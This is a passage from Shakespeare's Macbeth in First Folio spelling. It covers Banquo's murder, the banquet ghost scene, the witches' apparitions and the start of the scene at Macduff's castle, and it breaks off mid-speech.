Macd. And so doe I + + All. So all + + Macb. Let's briefely put on manly readinesse, +And meet i'th' Hall together + + All. Well contented. + +Exeunt. + + Malc. What will you doe? +Let's not consort with them: +To shew an vnfelt Sorrow, is an Office +Which the false man do's easie. +Ile to England + + Don. To Ireland, I: +Our seperated fortune shall keepe vs both the safer: +Where we are, there's Daggers in mens smiles; +The neere in blood, the neerer bloody + + Malc. This murtherous Shaft that's shot, +Hath not yet lighted: and our safest way, +Is to auoid the ayme. Therefore to Horse, +And let vs not be daintie of leaue-taking, +But shift away: there's warrant in that Theft, +Which steales it selfe, when there's no mercie left. + +Exeunt. + + + +Scena Quarta. + +Enter Rosse, with an Old man. + + Old man. Threescore and ten I can remember well, +Within the Volume of which Time, I haue seene +Houres dreadfull, and things strange: but this sore Night +Hath trifled former knowings + + Rosse. Ha, good Father, +Thou seest the Heauens, as troubled with mans Act, +Threatens his bloody Stage: byth' Clock 'tis Day, +And yet darke Night strangles the trauailing Lampe: +Is't Nights predominance, or the Dayes shame, +That Darknesse does the face of Earth intombe, +When liuing Light should kisse it? + Old man. 'Tis vnnaturall, +Euen like the deed that's done: On Tuesday last, +A Faulcon towring in her pride of place, +Was by a Mowsing Owle hawkt at, and kill'd + + Rosse. And Duncans Horses, +(A thing most strange, and certaine) +Beauteous, and swift, the Minions of their Race, +Turn'd wilde in nature, broke their stalls, flong out, +Contending 'gainst Obedience, as they would +Make Warre with Mankinde + + Old man. 'Tis said, they eate each other + + Rosse. They did so: +To th' amazement of mine eyes that look'd vpon't. +Enter Macduffe. + +Heere comes the good Macduffe. +How goes the world Sir, now? + Macd. Why see you not? + Ross. Is't known who did this more then bloody deed? + Macd. Those that Macbeth hath slaine + + Ross. Alas the day, +What good could they pretend? + Macd. They were subborned, +Malcolme, and Donalbaine the Kings two Sonnes +Are stolne away and fled, which puts vpon them +Suspition of the deed + + Rosse. 'Gainst Nature still, +Thriftlesse Ambition, that will rauen vp +Thine owne liues meanes: Then 'tis most like, +The Soueraignty will fall vpon Macbeth + + Macd. He is already nam'd, and gone to Scone +To be inuested + + Rosse. Where is Duncans body? + Macd. Carried to Colmekill, +The Sacred Store-house of his Predecessors, +And Guardian of their Bones + + Rosse. Will you to Scone? + Macd. No Cosin, Ile to Fife + + Rosse. Well, I will thither + + Macd. Well may you see things wel done there: Adieu +Least our old Robes sit easier then our new + + Rosse. Farewell, Father + + Old M. Gods benyson go with you, and with those +That would make good of bad, and Friends of Foes. + +Exeunt. omnes + +Actus Tertius. Scena Prima. + +Enter Banquo. + + Banq. Thou hast it now, King, Cawdor, Glamis, all, +As the weyard Women promis'd, and I feare +Thou playd'st most fowly for't: yet it was saide +It should not stand in thy Posterity, +But that my selfe should be the Roote, and Father +Of many Kings. If there come truth from them, +As vpon thee Macbeth, their Speeches shine, +Why by the verities on thee made good, +May they not be my Oracles as well, +And set me vp in hope. But hush, no more. + +Senit sounded. Enter Macbeth as King, Lady Lenox, Rosse, Lords, +and +Attendants. + + Macb. Heere's our chiefe Guest + + La. If he had beene forgotten, +It had bene as a gap in our great Feast, +And all-thing vnbecomming + + Macb. To night we hold a solemne Supper sir, +And Ile request your presence + + Banq. Let your Highnesse +Command vpon me, to the which my duties +Are with a most indissoluble tye +For euer knit + + Macb. Ride you this afternoone? + Ban. I, my good Lord + + Macb. We should haue else desir'd your good aduice +(Which still hath been both graue, and prosperous) +In this dayes Councell: but wee'le take to morrow. +Is't farre you ride? + Ban. As farre, my Lord, as will fill vp the time +'Twixt this, and Supper. Goe not my Horse the better, +I must become a borrower of the Night, +For a darke houre, or twaine + + Macb. Faile not our Feast + + Ban. My Lord, I will not + + Macb. We heare our bloody Cozens are bestow'd +In England, and in Ireland, not confessing +Their cruell Parricide, filling their hearers +With strange inuention. But of that to morrow, +When therewithall, we shall haue cause of State, +Crauing vs ioyntly. Hye you to Horse: +Adieu, till you returne at Night. +Goes Fleance with you? + Ban. I, my good Lord: our time does call vpon's + + Macb. I wish your Horses swift, and sure of foot: +And so I doe commend you to their backs. +Farwell. + +Exit Banquo. + +Let euery man be master of his time, +Till seuen at Night, to make societie +The sweeter welcome: +We will keepe our selfe till Supper time alone: +While then, God be with you. + +Exeunt. Lords. + +Sirrha, a word with you: Attend those men +Our pleasure? + Seruant. They are, my Lord, without the Pallace +Gate + + Macb. Bring them before vs. + +Exit Seruant. + +To be thus, is nothing, but to be safely thus +Our feares in Banquo sticke deepe, +And in his Royaltie of Nature reignes that +Which would be fear'd. 'Tis much he dares, +And to that dauntlesse temper of his Minde, +He hath a Wisdome, that doth guide his Valour, +To act in safetie. There is none but he, +Whose being I doe feare: and vnder him, +My Genius is rebuk'd, as it is said +Mark Anthonies was by Caesar. He chid the Sisters, +When first they put the Name of King vpon me, +And bad them speake to him. Then Prophet-like, +They hayl'd him Father to a Line of Kings. +Vpon my Head they plac'd a fruitlesse Crowne, +And put a barren Scepter in my Gripe, +Thence to be wrencht with an vnlineall Hand, +No Sonne of mine succeeding: if't be so, +For Banquo's Issue haue I fil'd my Minde, +For them, the gracious Duncan haue I murther'd, +Put Rancours in the Vessell of my Peace +Onely for them, and mine eternall Iewell +Giuen to the common Enemie of Man, +To make them Kings, the Seedes of Banquo Kings. +Rather then so, come Fate into the Lyst, +And champion me to th' vtterance. +Who's there? +Enter Seruant, and two Murtherers. + +Now goe to the Doore, and stay there till we call. + +Exit Seruant. + +Was it not yesterday we spoke together? + Murth. It was, so please your Highnesse + + Macb. Well then, +Now haue you consider'd of my speeches: +Know, that it was he, in the times past, +Which held you so vnder fortune, +Which you thought had been our innocent selfe. +This I made good to you, in our last conference, +Past in probation with you: +How you were borne in hand, how crost: +The Instruments: who wrought with them: +And all things else, that might +To halfe a Soule, and to a Notion craz'd, +Say, Thus did Banquo + + 1.Murth. You made it knowne to vs + + Macb. I did so: +And went further, which is now +Our point of second meeting. +Doe you finde your patience so predominant, +In your nature, that you can let this goe? +Are you so Gospell'd, to pray for this good man, +And for his Issue, whose heauie hand +Hath bow'd you to the Graue, and begger'd +Yours for euer? + 1.Murth. We are men, my Liege + + Macb. I, in the Catalogue ye goe for men, +As Hounds, and Greyhounds, Mungrels, Spaniels, Curres, +Showghes, Water-Rugs, and Demy-Wolues are clipt +All by the Name of Dogges: the valued file +Distinguishes the swift, the slow, the subtle, +The House-keeper, the Hunter, euery one +According to the gift, which bounteous Nature +Hath in him clos'd: whereby he does receiue +Particular addition, from the Bill, +That writes them all alike: and so of men. +Now, if you haue a station in the file, +Not i'th' worst ranke of Manhood, say't, +And I will put that Businesse in your Bosomes, +Whose execution takes your Enemie off, +Grapples you to the heart; and loue of vs, +Who weare our Health but sickly in his Life, +Which in his Death were perfect + + 2.Murth. I am one, my Liege, +Whom the vile Blowes and Buffets of the World +Hath so incens'd, that I am recklesse what I doe, +To spight the World + + 1.Murth. And I another, +So wearie with Disasters, tugg'd with Fortune, +That I would set my Life on any Chance, +To mend it, or be rid on't + + Macb. Both of you know Banquo was your Enemie + + Murth. True, my Lord + + Macb. So is he mine: and in such bloody distance, +That euery minute of his being, thrusts +Against my neer'st of Life: and though I could +With bare-fac'd power sweepe him from my sight, +And bid my will auouch it; yet I must not, +For certaine friends that are both his, and mine, +Whose loues I may not drop, but wayle his fall, +Who I my selfe struck downe: and thence it is, +That I to your assistance doe make loue, +Masking the Businesse from the common Eye, +For sundry weightie Reasons + + 2.Murth. We shall, my Lord, +Performe what you command vs + + 1.Murth. Though our Liues- + Macb. Your Spirits shine through you. +Within this houre, at most, +I will aduise you where to plant your selues, +Acquaint you with the perfect Spy o'th' time, +The moment on't, for't must be done to Night, +And something from the Pallace: alwayes thought, +That I require a clearenesse; and with him, +To leaue no Rubs nor Botches in the Worke: + Fleans , his Sonne, that keepes him companie, +Whose absence is no lesse materiall to me, +Then is his Fathers, must embrace the fate +Of that darke houre: resolue your selues apart, +Ile come to you anon + + Murth. We are resolu'd, my Lord + + Macb. Ile call vpon you straight: abide within, +It is concluded: Banquo, thy Soules flight, +If it finde Heauen, must finde it out to Night. + +Exeunt. + + +Scena Secunda. + +Enter Macbeths Lady, and a Seruant. + + Lady. Is Banquo gone from Court? + Seruant. I, Madame, but returnes againe to Night + + Lady. Say to the King, I would attend his leysure, +For a few words + + Seruant. Madame, I will. +Enter. + + Lady. Nought's had, all's spent. +Where our desire is got without content: +'Tis safer, to be that which we destroy, +Then by destruction dwell in doubtfull ioy. +Enter Macbeth. + +How now, my Lord, why doe you keepe alone? +Of sorryest Fancies your Companions making, +Vsing those Thoughts, which should indeed haue dy'd +With them they thinke on: things without all remedie +Should be without regard: what's done, is done + + Macb. We haue scorch'd the Snake, not kill'd it: +Shee'le close, and be her selfe, whilest our poore Mallice +Remaines in danger of her former Tooth. +But let the frame of things dis-ioynt, +Both the Worlds suffer, +Ere we will eate our Meale in feare, and sleepe +In the affliction of these terrible Dreames, +That shake vs Nightly: Better be with the dead, +Whom we, to gayne our peace, haue sent to peace, +Then on the torture of the Minde to lye +In restlesse extasie. +Duncane is in his Graue: +After Lifes fitfull Feuer, he sleepes well, +Treason ha's done his worst: nor Steele, nor Poyson, +Mallice domestique, forraine Leuie, nothing, +Can touch him further + + Lady. Come on: +Gentle my Lord, sleeke o're your rugged Lookes, +Be bright and Iouiall among your Guests to Night + + Macb. So shall I Loue, and so I pray be you: +Let your remembrance apply to Banquo, +Present him Eminence, both with Eye and Tongue: +Vnsafe the while, that wee must laue +Our Honors in these flattering streames, +And make our Faces Vizards to our Hearts, +Disguising what they are + + Lady. You must leaue this + + Macb. O, full of Scorpions is my Minde, deare Wife: +Thou know'st, that Banquo and his Fleans liues + + Lady. But in them, Natures Coppie's not eterne + + Macb. There's comfort yet, they are assaileable, +Then be thou iocund: ere the Bat hath flowne +His Cloyster'd flight, ere to black Heccats summons +The shard-borne Beetle, with his drowsie hums, +Hath rung Nights yawning Peale, +There shall be done a deed of dreadfull note + + Lady. What's to be done? + Macb. Be innocent of the knowledge, dearest Chuck, +Till thou applaud the deed: Come, seeling Night, +Skarfe vp the tender Eye of pittifull Day, +And with thy bloodie and inuisible Hand +Cancell and teare to pieces that great Bond, +Which keepes me pale. Light thickens, +And the Crow makes Wing toth' Rookie Wood: +Good things of Day begin to droope, and drowse, +Whiles Nights black Agents to their Prey's doe rowse. +Thou maruell'st at my words: but hold thee still, +Things bad begun, make strong themselues by ill: +So prythee goe with me. + +Exeunt. + + +Scena Tertia. + +Enter three Murtherers. + + 1. But who did bid thee ioyne with vs? + 3. Macbeth + + 2. He needes not our mistrust, since he deliuers +Our Offices, and what we haue to doe, +To the direction iust + + 1. Then stand with vs: +The West yet glimmers with some streakes of Day. +Now spurres the lated Traueller apace, +To gayne the timely Inne, and neere approches +The subiect of our Watch + + 3. Hearke, I heare Horses + + Banquo within. Giue vs a Light there, hoa + + 2. Then 'tis hee: +The rest, that are within the note of expectation, +Alreadie are i'th' Court + + 1. His Horses goe about + + 3. Almost a mile: but he does vsually, +So all men doe, from hence toth' Pallace Gate +Make it their Walke. +Enter Banquo and Fleans, with a Torch. + + 2. A Light, a Light + + 3. 'Tis hee + + 1. Stand too't + + Ban. It will be Rayne to Night + + 1. Let it come downe + + Ban. O, Trecherie! +Flye good Fleans, flye, flye, flye, +Thou may'st reuenge. O Slaue! + 3. Who did strike out the Light? + 1. Was't not the way? + 3. There's but one downe: the Sonne is fled + + 2. We haue lost +Best halfe of our Affaire + + 1. Well, let's away, and say how much is done. + +Exeunt. + + +Scaena Quarta. + +Banquet prepar'd. Enter Macbeth, Lady, Rosse, Lenox, Lords, and +Attendants. + + Macb. You know your owne degrees, sit downe: +At first and last, the hearty welcome + + Lords. Thankes to your Maiesty + + Macb. Our selfe will mingle with Society, +And play the humble Host: +Our Hostesse keepes her State, but in best time +We will require her welcome + + La. Pronounce it for me Sir, to all our Friends, +For my heart speakes, they are welcome. +Enter first Murtherer. + + Macb. See they encounter thee with their harts thanks +Both sides are euen: heere Ile sit i'th' mid'st, +Be large in mirth, anon wee'l drinke a Measure +The Table round. There's blood vpon thy face + + Mur. 'Tis Banquo's then + + Macb. 'Tis better thee without, then he within. +Is he dispatch'd? + Mur. My Lord his throat is cut, that I did for him + + Mac. Thou art the best o'th' Cut-throats, +Yet hee's good that did the like for Fleans: +If thou did'st it, thou art the Non-pareill + + Mur. Most Royall Sir +Fleans is scap'd + + Macb. Then comes my Fit againe: +I had else beene perfect; +Whole as the Marble, founded as the Rocke, +As broad, and generall, as the casing Ayre: +But now I am cabin'd, crib'd, confin'd, bound in +To sawcy doubts, and feares. But Banquo's safe? + Mur. I, my good Lord: safe in a ditch he bides, +With twenty trenched gashes on his head; +The least a Death to Nature + + Macb. Thankes for that: +There the growne Serpent lyes, the worme that's fled +Hath Nature that in time will Venom breed, +No teeth for th' present. Get thee gone, to morrow +Wee'l heare our selues againe. + +Exit Murderer. + + Lady. My Royall Lord, +You do not giue the Cheere, the Feast is sold +That is not often vouch'd, while 'tis a making: +'Tis giuen, with welcome: to feede were best at home: +From thence, the sawce to meate is Ceremony, +Meeting were bare without it. +Enter the Ghost of Banquo, and sits in Macbeths place. + + Macb. Sweet Remembrancer: +Now good digestion waite on Appetite, +And health on both + + Lenox. May't please your Highnesse sit + + Macb. Here had we now our Countries Honor, roof'd, +Were the grac'd person of our Banquo present: +Who, may I rather challenge for vnkindnesse, +Then pitty for Mischance + + Rosse. His absence (Sir) +Layes blame vpon his promise. Pleas't your Highnesse +To grace vs with your Royall Company? + Macb. The Table's full + + Lenox. Heere is a place reseru'd Sir + + Macb. Where? + Lenox. Heere my good Lord. +What is't that moues your Highnesse? + Macb. Which of you haue done this? + Lords. What, my good Lord? + Macb. Thou canst not say I did it: neuer shake +Thy goary lockes at me + + Rosse. Gentlemen rise, his Highnesse is not well + + Lady. Sit worthy Friends: my Lord is often thus, +And hath beene from his youth. Pray you keepe Seat, +The fit is momentary, vpon a thought +He will againe be well. If much you note him +You shall offend him, and extend his Passion, +Feed, and regard him not. Are you a man? + Macb. I, and a bold one, that dare looke on that +Which might appall the Diuell + + La. O proper stuffe: +This is the very painting of your feare: +This is the Ayre-drawne-Dagger which you said +Led you to Duncan. O, these flawes and starts +(Impostors to true feare) would well become +A womans story, at a Winters fire +Authoriz'd by her Grandam: shame it selfe, +Why do you make such faces? When all's done +You looke but on a stoole + + Macb. Prythee see there: +Behold, looke, loe, how say you: +Why what care I, if thou canst nod, speake too. +If Charnell houses, and our Graues must send +Those that we bury, backe; our Monuments +Shall be the Mawes of Kytes + + La. What? quite vnmann'd in folly + + Macb. If I stand heere, I saw him + + La. Fie for shame + + Macb. Blood hath bene shed ere now, i'th' olden time +Ere humane Statute purg'd the gentle Weale: +I, and since too, Murthers haue bene perform'd +Too terrible for the eare. The times has bene, +That when the Braines were out, the man would dye, +And there an end: But now they rise againe +With twenty mortall murthers on their crownes, +And push vs from our stooles. This is more strange +Then such a murther is + + La. My worthy Lord +Your Noble Friends do lacke you + + Macb. I do forget: +Do not muse at me my most worthy Friends, +I haue a strange infirmity, which is nothing +To those that know me. Come, loue and health to all, +Then Ile sit downe: Giue me some Wine, fill full: +Enter Ghost. + +I drinke to th' generall ioy o'th' whole Table, +And to our deere Friend Banquo, whom we misse: +Would he were heere: to all, and him we thirst, +And all to all + + Lords. Our duties, and the pledge + + Mac. Auant, & quit my sight, let the earth hide thee: +Thy bones are marrowlesse, thy blood is cold: +Thou hast no speculation in those eyes +Which thou dost glare with + + La. Thinke of this good Peeres +But as a thing of Custome: 'Tis no other, +Onely it spoyles the pleasure of the time + + Macb. What man dare, I dare: +Approach thou like the rugged Russian Beare, +The arm'd Rhinoceros, or th' Hircan Tiger, +Take any shape but that, and my firme Nerues +Shall neuer tremble. Or be aliue againe, +And dare me to the Desart with thy Sword: +If trembling I inhabit then, protest mee +The Baby of a Girle. Hence horrible shadow, +Vnreall mock'ry hence. Why so, being gone +I am a man againe: pray you sit still + + La. You haue displac'd the mirth, +Broke the good meeting, with most admir'd disorder + + Macb. Can such things be, +And ouercome vs like a Summers Clowd, +Without our speciall wonder? You make me strange +Euen to the disposition that I owe, +When now I thinke you can behold such sights, +And keepe the naturall Rubie of your Cheekes, +When mine is blanch'd with feare + + Rosse. What sights, my Lord? + La. I pray you speake not: he growes worse & worse +Question enrages him: at once, goodnight. +Stand not vpon the order of your going, +But go at once + + Len. Good night, and better health +Attend his Maiesty + + La. A kinde goodnight to all. + +Exit Lords. + + Macb. It will haue blood they say: +Blood will haue Blood: +Stones haue beene knowne to moue, & Trees to speake: +Augures, and vnderstood Relations, haue +By Maggot Pyes, & Choughes, & Rookes brought forth +The secret'st man of Blood. What is the night? + La. Almost at oddes with morning, which is which + + Macb. How say'st thou that Macduff denies his person +At our great bidding + + La. Did you send to him Sir? + Macb. I heare it by the way: But I will send: +There's not a one of them but in his house +I keepe a Seruant Feed. I will to morrow +(And betimes I will) to the weyard Sisters. +More shall they speake: for now I am bent to know +By the worst meanes, the worst, for mine owne good, +All causes shall giue way. I am in blood +Stept in so farre, that should I wade no more, +Returning were as tedious as go ore: +Strange things I haue in head, that will to hand, +Which must be acted, ere they may be scand + + La. You lacke the season of all Natures, sleepe + + Macb. Come, wee'l to sleepe: My strange & self-abuse +Is the initiate feare, that wants hard vse: +We are yet but yong indeed. + +Exeunt. + + +Scena Quinta. + +Thunder. Enter the three Witches, meeting Hecat. + + 1. Why how now Hecat, you looke angerly? + Hec. Haue I not reason (Beldams) as you are? +Sawcy, and ouer-bold, how did you dare +To Trade, and Trafficke with Macbeth, +In Riddles, and Affaires of death; +And I the Mistris of your Charmes, +The close contriuer of all harmes, +Was neuer call'd to beare my part, +Or shew the glory of our Art? +And which is worse, all you haue done +Hath bene but for a wayward Sonne, +Spightfull, and wrathfull, who (as others do) +Loues for his owne ends, not for you. +But make amends now: Get you gon, +And at the pit of Acheron +Meete me i'th' Morning: thither he +Will come, to know his Destinie. +Your Vessels, and your Spels prouide, +Your Charmes, and euery thing beside; +I am for th' Ayre: This night Ile spend +Vnto a dismall, and a Fatall end. +Great businesse must be wrought ere Noone. +Vpon the Corner of the Moone +There hangs a vap'rous drop, profound, +Ile catch it ere it come to ground; +And that distill'd by Magicke slights, +Shall raise such Artificiall Sprights, +As by the strength of their illusion, +Shall draw him on to his Confusion. +He shall spurne Fate, scorne Death, and beare +His hopes 'boue Wisedome, Grace, and Feare: +And you all know, Security +Is Mortals cheefest Enemie. + +Musicke, and a Song. + +Hearke, I am call'd: my little Spirit see +Sits in Foggy cloud, and stayes for me. + +Sing within. Come away, come away, &c. + + 1 Come, let's make hast, shee'l soone be +Backe againe. + +Exeunt. + + +Scaena Sexta. + +Enter Lenox, and another Lord. + + Lenox. My former Speeches, +Haue but hit your Thoughts +Which can interpret farther: Onely I say +Things haue bin strangely borne. The gracious Duncan +Was pittied of Macbeth: marry he was dead: +And the right valiant Banquo walk'd too late, +Whom you may say (if't please you) Fleans kill'd, +For Fleans fled: Men must not walke too late. +Who cannot want the thought, how monstrous +It was for Malcolme, and for Donalbane +To kill their gracious Father? Damned Fact, +How it did greeue Macbeth? Did he not straight +In pious rage, the two delinquents teare, +That were the Slaues of drinke, and thralles of sleepe? +Was not that Nobly done? I, and wisely too: +For 'twould haue anger'd any heart aliue +To heare the men deny't. So that I say, +He ha's borne all things well, and I do thinke, +That had he Duncans Sonnes vnder his Key, +(As, and't please Heauen he shall not) they should finde +What 'twere to kill a Father: So should Fleans. +But peace; for from broad words, and cause he fayl'd +His presence at the Tyrants Feast, I heare +Macduffe liues in disgrace. Sir, can you tell +Where he bestowes himselfe? + Lord. The Sonnes of Duncane +(From whom this Tyrant holds the due of Birth) +Liues in the English Court, and is receyu'd +Of the most Pious Edward, with such grace, +That the maleuolence of Fortune, nothing +Takes from his high respect. Thither Macduffe +Is gone, to pray the Holy King, vpon his ayd +To wake Northumberland, and warlike Seyward, +That by the helpe of these (with him aboue) +To ratifie the Worke) we may againe +Giue to our Tables meate, sleepe to our Nights: +Free from our Feasts, and Banquets bloody kniues; +Do faithfull Homage, and receiue free Honors, +All which we pine for now. And this report +Hath so exasperate their King, that hee +Prepares for some attempt of Warre + + Len. Sent he to Macduffe? + Lord. He did: and with an absolute Sir, not I +The clowdy Messenger turnes me his backe, +And hums; as who should say, you'l rue the time +That clogges me with this Answer + + Lenox. And that well might +Aduise him to a Caution, t' hold what distance +His wisedome can prouide. Some holy Angell +Flye to the Court of England, and vnfold +His Message ere he come, that a swift blessing +May soone returne to this our suffering Country, +Vnder a hand accurs'd + + Lord. Ile send my Prayers with him. + +Exeunt. + +Actus Quartus. Scena Prima. + +Thunder. Enter the three Witches. + + 1 Thrice the brinded Cat hath mew'd + + 2 Thrice, and once the Hedge-Pigge whin'd + + 3 Harpier cries, 'tis time, 'tis time + + 1 Round about the Caldron go: +In the poysond Entrailes throw +Toad, that vnder cold stone, +Dayes and Nights, ha's thirty one: +Sweltred Venom sleeping got, +Boyle thou first i'th' charmed pot + + All. Double, double, toile and trouble; +Fire burne, and Cauldron bubble + + 2 Fillet of a Fenny Snake, +In the Cauldron boyle and bake: +Eye of Newt, and Toe of Frogge, +Wooll of Bat, and Tongue of Dogge: +Adders Forke, and Blinde-wormes Sting, +Lizards legge, and Howlets wing: +For a Charme of powrefull trouble, +Like a Hell-broth, boyle and bubble + + All. Double, double, toyle and trouble, +Fire burne, and Cauldron bubble + + 3 Scale of Dragon, Tooth of Wolfe, +Witches Mummey, Maw, and Gulfe +Of the rauin'd salt Sea sharke: +Roote of Hemlocke, digg'd i'th' darke: +Liuer of Blaspheming Iew, +Gall of Goate, and Slippes of Yew, +Sliuer'd in the Moones Ecclipse: +Nose of Turke, and Tartars lips: +Finger of Birth-strangled Babe, +Ditch-deliuer'd by a Drab, +Make the Grewell thicke, and slab. +Adde thereto a Tigers Chawdron, +For th' Ingredience of our Cawdron + + All. Double, double, toyle and trouble, +Fire burne, and Cauldron bubble + + 2 Coole it with a Baboones blood, +Then the Charme is firme and good. +Enter Hecat, and the other three Witches. + + Hec. O well done: I commend your paines, +And euery one shall share i'th' gaines: +And now about the Cauldron sing +Like Elues and Fairies in a Ring, +Inchanting all that you put in. + +Musicke and a Song. Blacke Spirits, &c. + + 2 By the pricking of my Thumbes, +Something wicked this way comes: +Open Lockes, who euer knockes. +Enter Macbeth. + + Macb. How now you secret, black, & midnight Hags? +What is't you do? + All. A deed without a name + + Macb. I coniure you, by that which you Professe, +(How ere you come to know it) answer me: +Though you vntye the Windes, and let them fight +Against the Churches: Though the yesty Waues +Confound and swallow Nauigation vp: +Though bladed Corne be lodg'd, & Trees blown downe, +Though Castles topple on their Warders heads: +Though Pallaces, and Pyramids do slope +Their heads to their Foundations: Though the treasure +Of Natures Germaine, tumble altogether, +Euen till destruction sicken: Answer me +To what I aske you + + 1 Speake + + 2 Demand + + 3 Wee'l answer + + 1 Say, if th'hadst rather heare it from our mouthes, +Or from our Masters + + Macb. Call 'em: let me see 'em + + 1 Powre in Sowes blood, that hath eaten +Her nine Farrow: Greaze that's sweaten +From the Murderers Gibbet, throw +Into the Flame + + All. Come high or low: +Thy Selfe and Office deaftly show. +Thunder. 1. Apparation, an Armed Head. + + Macb. Tell me, thou vnknowne power + + 1 He knowes thy thought: +Heare his speech, but say thou nought + + 1 Appar. Macbeth, Macbeth, Macbeth: +Beware Macduffe, +Beware the Thane of Fife: dismisse me. Enough. + +He Descends. + + Macb. What ere thou art, for thy good caution, thanks +Thou hast harp'd my feare aright. But one word more + + 1 He will not be commanded: heere's another +More potent then the first. + +Thunder. 2 Apparition, a Bloody Childe. + + 2 Appar. Macbeth, Macbeth, Macbeth + + Macb. Had I three eares, Il'd heare thee + + Appar. Be bloody, bold, & resolute: +Laugh to scorne +The powre of man: For none of woman borne +Shall harme Macbeth. + +Descends. + + Mac. Then liue Macduffe: what need I feare of thee? +But yet Ile make assurance: double sure, +And take a Bond of Fate: thou shalt not liue, +That I may tell pale-hearted Feare, it lies; +And sleepe in spight of Thunder. + +Thunder 3 Apparation, a Childe Crowned, with a Tree in his hand. + +What is this, that rises like the issue of a King, +And weares vpon his Baby-brow, the round +And top of Soueraignty? + All. Listen, but speake not too't + + 3 Appar. Be Lyon metled, proud, and take no care: +Who chafes, who frets, or where Conspirers are: +Macbeth shall neuer vanquish'd be, vntill +Great Byrnam Wood, to high Dunsmane Hill +Shall come against him. + +Descend. + + Macb. That will neuer bee: +Who can impresse the Forrest, bid the Tree +Vnfixe his earth-bound Root? Sweet boadments, good: +Rebellious dead, rise neuer till the Wood +Of Byrnan rise, and our high plac'd Macbeth +Shall liue the Lease of Nature, pay his breath +To time, and mortall Custome. Yet my Hart +Throbs to know one thing: Tell me, if your Art +Can tell so much: Shall Banquo's issue euer +Reigne in this Kingdome? + All. Seeke to know no more + + Macb. I will be satisfied. Deny me this, +And an eternall Curse fall on you: Let me know. +Why sinkes that Caldron? & what noise is this? + +Hoboyes + + 1 Shew + + 2 Shew + + 3 Shew + + All. Shew his Eyes, and greeue his Hart, +Come like shadowes, so depart. + +A shew of eight Kings, and Banquo last, with a glasse in his hand. + + Macb. Thou art too like the Spirit of Banquo: Down: +Thy Crowne do's seare mine Eye-bals. And thy haire +Thou other Gold-bound-brow, is like the first: +A third, is like the former. Filthy Hagges, +Why do you shew me this? - A fourth? Start eyes! +What will the Line stretch out to'th' cracke of Doome? +Another yet? A seauenth? Ile see no more: +And yet the eighth appeares, who beares a glasse, +Which shewes me many more: and some I see, +That two-fold Balles, and trebble Scepters carry. +Horrible sight: Now I see 'tis true, +For the Blood-bolter'd Banquo smiles vpon me, +And points at them for his. What? is this so? + 1 I Sir, all this is so. But why +Stands Macbeth thus amazedly? +Come Sisters, cheere we vp his sprights, +And shew the best of our delights. +Ile Charme the Ayre to giue a sound, +While you performe your Antique round: +That this great King may kindly say, +Our duties, did his welcome pay. + +Musicke. The Witches Dance, and vanish. + + Macb. Where are they? Gone? +Let this pernitious houre, +Stand aye accursed in the Kalender. +Come in, without there. +Enter Lenox. + + Lenox. What's your Graces will + + Macb. Saw you the Weyard Sisters? + Lenox. No my Lord + + Macb. Came they not by you? + Lenox. No indeed my Lord + + Macb. Infected be the Ayre whereon they ride, +And damn'd all those that trust them. I did heare +The gallopping of Horse. Who was't came by? + Len. 'Tis two or three my Lord, that bring you word: +Macduff is fled to England + + Macb. Fled to England? + Len. I, my good Lord + + Macb. Time, thou anticipat'st my dread exploits: +The flighty purpose neuer is o're-tooke +Vnlesse the deed go with it. From this moment, +The very firstlings of my heart shall be +The firstlings of my hand. And euen now +To Crown my thoughts with Acts: be it thoght & done: +The Castle of Macduff, I will surprize. +Seize vpon Fife; giue to th' edge o'th' Sword +His Wife, his Babes, and all vnfortunate Soules +That trace him in his Line. No boasting like a Foole, +This deed Ile do, before this purpose coole, +But no more sights. Where are these Gentlemen? +Come bring me where they are. + +Exeunt. + +Scena Secunda. + +Enter Macduffes Wife, her Son, and Rosse. + + Wife. What had he done, to make him fly the Land? + Rosse. You must haue patience Madam + + Wife. He had none: +His flight was madnesse: when our Actions do not, +Our feares do make vs Traitors + + Rosse. You know not +Whether it was his wisedome, or his feare + + Wife. Wisedom? to leaue his wife, to leaue his Babes, +His Mansion, and his Titles, in a place +From whence himselfe do's flye? He loues vs not, +He wants the naturall touch. For the poore Wren +(The most diminitiue of Birds) will fight, +Her yong ones in her Nest, against the Owle: +All is the Feare, and nothing is the Loue; +As little is the Wisedome, where the flight +So runnes against all reason + + Rosse. My deerest Cooz, +I pray you schoole your selfe. But for your Husband, +He is Noble, Wise, Iudicious, and best knowes +The fits o'th' Season. I dare not speake much further, +But cruell are the times, when we are Traitors +And do not know our selues: when we hold Rumor +From what we feare, yet know not what we feare, +But floate vpon a wilde and violent Sea +Each way, and moue. I take my leaue of you: +Shall not be long but Ile be heere againe: +Things at the worst will cease, or else climbe vpward, +To what they were before. My pretty Cosine, +Blessing vpon you + + Wife. Father'd he is, +And yet hee's Father-lesse + + Rosse. I am so much a Foole, should I stay longer +It would be my disgrace, and your discomfort. +I take my leaue at once. + +Exit Rosse. + + Wife. Sirra, your Fathers dead, +And what will you do now? How will you liue? + Son. As Birds do Mother + + Wife. What with Wormes, and Flyes? + Son. With what I get I meane, and so do they + + Wife. Poore Bird, +Thou'dst neuer Feare the Net, nor Lime, +The Pitfall, nor the Gin + + Son. Why should I Mother? +Poore Birds they are not set for: +My Father is not dead for all your saying + + Wife. Yes, he is dead: +How wilt thou do for a Father? + Son. Nay how will you do for a Husband? + Wife. Why I can buy me twenty at any Market + + Son. Then you'l by 'em to sell againe + + Wife. Thou speak'st withall thy wit, +And yet I'faith with wit enough for thee + + Son. Was my Father a Traitor, Mother? + Wife. I, that he was + + Son. What is a Traitor? + Wife. Why one that sweares, and lyes + + Son. And be all Traitors, that do so + + Wife. Euery one that do's so, is a Traitor, +And must be hang'd + + Son. And must they all be hang'd, that swear and lye? + Wife. Euery one + + Son. Who must hang them? + Wife. Why, the honest men + + Son. Then the Liars and Swearers are Fools: for there +are Lyars and Swearers enow, to beate the honest men, +and hang vp them + + Wife. Now God helpe thee, poore Monkie: +But how wilt thou do for a Father? + Son. If he were dead, youl'd weepe for him: if you +would not, it were a good signe, that I should quickely +haue a new Father + + Wife. Poore pratler, how thou talk'st? +Enter a Messenger. + + Mes. Blesse you faire Dame: I am not to you known, +Though in your state of Honor I am perfect; +I doubt some danger do's approach you neerely. +If you will take a homely mans aduice, +Be not found heere: Hence with your little ones +To fright you thus. Me thinkes I am too sauage: +To do worse to you, were fell Cruelty, +Which is too nie your person. Heauen preserue you, +I dare abide no longer. + +Exit Messenger + + Wife. Whether should I flye? +I haue done no harme. But I remember now +I am in this earthly world: where to do harme +Is often laudable, to do good sometime +Accounted dangerous folly. Why then (alas) +Do I put vp that 